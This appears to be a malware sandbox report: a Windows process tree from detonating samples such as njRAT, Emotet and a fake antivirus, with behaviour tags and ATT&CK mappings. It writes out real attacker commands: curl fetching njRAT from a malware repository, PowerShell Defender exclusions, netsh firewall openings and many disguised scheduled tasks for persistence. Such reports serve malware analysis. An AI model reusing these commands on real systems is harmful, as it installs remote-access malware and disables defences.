C:\Users\Admin\AppData\Local\Temp\ud.7z.exe"C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\laplas.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2524
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\njrat.zip" "https://github.com/ytisf/theZoo/blob/master/malware/Binaries/njRAT-v0.6.4/njRAT-v0.6.4.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\njrat.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp\njrat"2⤵
- System Location Discovery: System Language Discovery
PID:3840 -
C:\Users\Admin\AppData\Local\Temp\ud.curl.exeC:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\njrat.zip" "https://github.com/ytisf/theZoo/blob/master/malware/Binaries/njRAT-v0.6.4/njRAT-v0.6.4.zip" --ssl-no-revoke3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5188
-
-
C:\Users\Admin\AppData\Local\Temp\ud.7z.exe"C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\njrat.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp\njrat"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1292
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\ultradrp\emotet.dll"2⤵
- System Location Discovery: System Language Discovery
PID:3308 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe "C:\Users\Admin\AppData\Local\Temp\ultradrp\emotet.dll"3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:244 -
C:\Windows\system32\regsvr32.exe"C:\Users\Admin\AppData\Local\Temp\ultradrp\emotet.dll"4⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:1756 -
C:\Windows\system32\regsvr32.exeC:\Windows\system32\regsvr32.exe "C:\Windows\system32\EOhexrHAkwSAwDLA\fmLv.dll"5⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:5920
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]"2⤵
- System Location Discovery: System Language Discovery
PID:4108 -
C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]3⤵
- Executes dropped EXE
- Adds Run key to start application
- Enumerates connected drives
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:5332
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]"2⤵
- System Location Discovery: System Language Discovery
PID:4920 -
C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]3⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:1932 -
C:\WINDOWS\302746537.exe"C:\WINDOWS\302746537.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1724 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\362F.tmp\302746537.bat" "5⤵
- System Location Discovery: System Language Discovery
PID:4008 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s c:\windows\comctl32.ocx6⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2016
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s c:\windows\mscomctl.ocx6⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:5276
-
-
\??\c:\windows\antivirus-platinum.exec:\windows\antivirus-platinum.exe6⤵
- Windows security bypass
- Disables RegEdit via registry modification
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies Internet Explorer start page
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:2924
-
-
C:\Windows\SysWOW64\attrib.exeattrib +h c:\windows\antivirus-platinum.exe6⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
PID:5500
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]"2⤵
- System Location Discovery: System Language Discovery
PID:5540
-
-
C:\Windows\SysWOW64\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\Install.exe"2⤵
- System Location Discovery: System Language Discovery
PID:2484 -
C:\Users\Admin\AppData\Local\Temp\ultradrp\Install.exeC:\Users\Admin\AppData\Local\Temp\ultradrp\Install.exe3⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5696
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\Worm (1).exe"2⤵
- System Location Discovery: System Language Discovery
PID:4388 -
C:\Users\Admin\AppData\Local\Temp\ultradrp\Worm (1).exe"C:\Users\Admin\AppData\Local\Temp\ultradrp\Worm (1).exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3408
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe"2⤵
- System Location Discovery: System Language Discovery
PID:5632 -
C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exeC:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:336
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\Genshin Impact.exe"2⤵
- System Location Discovery: System Language Discovery
PID:6036 -
C:\Users\Admin\AppData\Local\Temp\ultradrp\Genshin Impact.exe"C:\Users\Admin\AppData\Local\Temp\ultradrp\Genshin Impact.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:332 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\winsessionnet\qmazbV2JlRldI.vbe"4⤵
- System Location Discovery: System Language Discovery
PID:2956 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\winsessionnet\kudjk2JZBqNfIbV0H.bat" "5⤵
- System Location Discovery: System Language Discovery
PID:5172 -
C:\winsessionnet\PortwebSaves.exe"C:\winsessionnet\PortwebSaves.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3684 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\winsessionnet\PortwebSaves.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5112
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\unsecapp.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:4072
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Sidebar\OfficeClickToRun.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:2124
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Local Settings\sppsvc.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5960
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\twain_32\conhost.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:3124
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\winsessionnet\Registry.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5308
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\setup.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:3968
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\setup.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:4984
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\smss.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:404
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Temp\PortwebSaves.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:4280
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\AccountPictures\conhost.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1968
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\bcastdvr\RuntimeBroker.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5572
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\WindowsPowerShell\Configuration\winlogon.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5464
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\RuntimeBroker.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5988
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Internet Explorer\es-ES\regsvr32.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:244
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\winsessionnet\csrss.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1020
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Media Player\lsass.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:2256
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\winsessionnet\Registry.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5728
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\bCL9REkyc5.bat"7⤵PID:912
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:28⤵PID:3284
-
-
C:\winsessionnet\Registry.exe"C:\winsessionnet\Registry.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5692
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.eexe"2⤵
- System Location Discovery: System Language Discovery
PID:1964 -
C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.eexeC:\Users\Admin\AppData\Local\Temp\ultradrp\setup.eexe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3572
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\njrat\njRAT.exe"2⤵
- System Location Discovery: System Language Discovery
PID:1368 -
C:\Users\Admin\AppData\Local\Temp\ultradrp\njrat\njRAT.exeC:\Users\Admin\AppData\Local\Temp\ultradrp\njrat\njRAT.exe3⤵
- System Location Discovery: System Language Discovery
PID:2912 -
C:\njRAT.exe"C:\njRAT.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:872
-
-
C:\njq8.exe"C:\njq8.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1680 -
C:\Users\Admin\AppData\Local\Temp\windows.exe"C:\Users\Admin\AppData\Local\Temp\windows.exe"5⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1960 -
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\windows.exe" "windows.exe" ENABLE6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2436
-
-
-
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:4020
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"1⤵PID:1460
-
C:\Windows\system32\curl.execurl --help2⤵PID:1216
-
-
C:\Windows\system32\curl.execurl -L https://github.com/ytisf/theZoo/raw/master/malware/Binaries/njRAT-v0.6.4/njRAT-v0.6.4.zip2⤵PID:6108
-
-
C:\Windows\system32\curl.execurl -L https://github.com/ytisf/theZoo/raw/master/malware/Binaries/njRAT-v0.6.4/njRAT-v0.6.4.zip -o njrat.exe2⤵PID:4244
-
-
C:\Windows\system32\curl.execurl -L https://github.com/ytisf/theZoo/raw/master/malware/Binaries/njRAT-v0.6.4/njRAT-v0.6.4.zip -o njrat.zip2⤵PID:2668
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵PID:1752
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:2464
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 11 /tr "'C:\Users\Default User\unsecapp.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1264
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Users\Default User\unsecapp.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4792
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\unsecapp.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3436
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Sidebar\OfficeClickToRun.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2332
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\OfficeClickToRun.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4496
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Sidebar\OfficeClickToRun.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6112
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 8 /tr "'C:\Users\Default\Local Settings\sppsvc.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1064
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\Default\Local Settings\sppsvc.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4936
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 12 /tr "'C:\Users\Default\Local Settings\sppsvc.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4976
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Windows\twain_32\conhost.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:400
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\twain_32\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2076
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Windows\twain_32\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5688
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\winsessionnet\Registry.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5216
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\winsessionnet\Registry.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4684
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 11 /tr "'C:\winsessionnet\Registry.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5396
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "setups" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\setup.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1008
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "setup" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\setup.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5348
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "setups" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\setup.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5780
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "setups" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\setup.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:984
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "setup" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\setup.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2848
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "setups" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\setup.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3328
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "smsss" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\smss.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1480
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\smss.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5340
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "smsss" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\smss.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1160
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "PortwebSavesP" /sc MINUTE /mo 10 /tr "'C:\Windows\Temp\PortwebSaves.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:248
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "PortwebSaves" /sc ONLOGON /tr "'C:\Windows\Temp\PortwebSaves.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2108
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "PortwebSavesP" /sc MINUTE /mo 5 /tr "'C:\Windows\Temp\PortwebSaves.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4788
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'C:\Users\Public\AccountPictures\conhost.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3264
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\Public\AccountPictures\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2580
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Users\Public\AccountPictures\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4656
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Windows\bcastdvr\RuntimeBroker.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3932
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\bcastdvr\RuntimeBroker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3140
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Windows\bcastdvr\RuntimeBroker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3856
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 10 /tr "'C:\Program Files\WindowsPowerShell\Configuration\winlogon.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5916
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files\WindowsPowerShell\Configuration\winlogon.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5976
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 6 /tr "'C:\Program Files\WindowsPowerShell\Configuration\winlogon.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4952
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Users\Public\RuntimeBroker.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6032
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Public\RuntimeBroker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3332
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Users\Public\RuntimeBroker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6128
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "regsvr32r" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Internet Explorer\es-ES\regsvr32.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1444
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "regsvr32" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\es-ES\regsvr32.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3892
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "regsvr32r" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Internet Explorer\es-ES\regsvr32.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:560
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\winsessionnet\csrss.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6104
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\winsessionnet\csrss.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5712
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\winsessionnet\csrss.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1200
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Media Player\lsass.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1092
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\lsass.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2904
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsassl" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Media Player\lsass.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1412
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\winsessionnet\Registry.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3704
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\winsessionnet\Registry.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5672
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 7 /tr "'C:\winsessionnet\Registry.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1192
-
C:\Users\Admin\AppData\Local\Temp\ultradrp\njrat\njRAT.exe"C:\Users\Admin\AppData\Local\Temp\ultradrp\njrat\njRAT.exe"1⤵
- System Location Discovery: System Language Discovery
PID:712
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
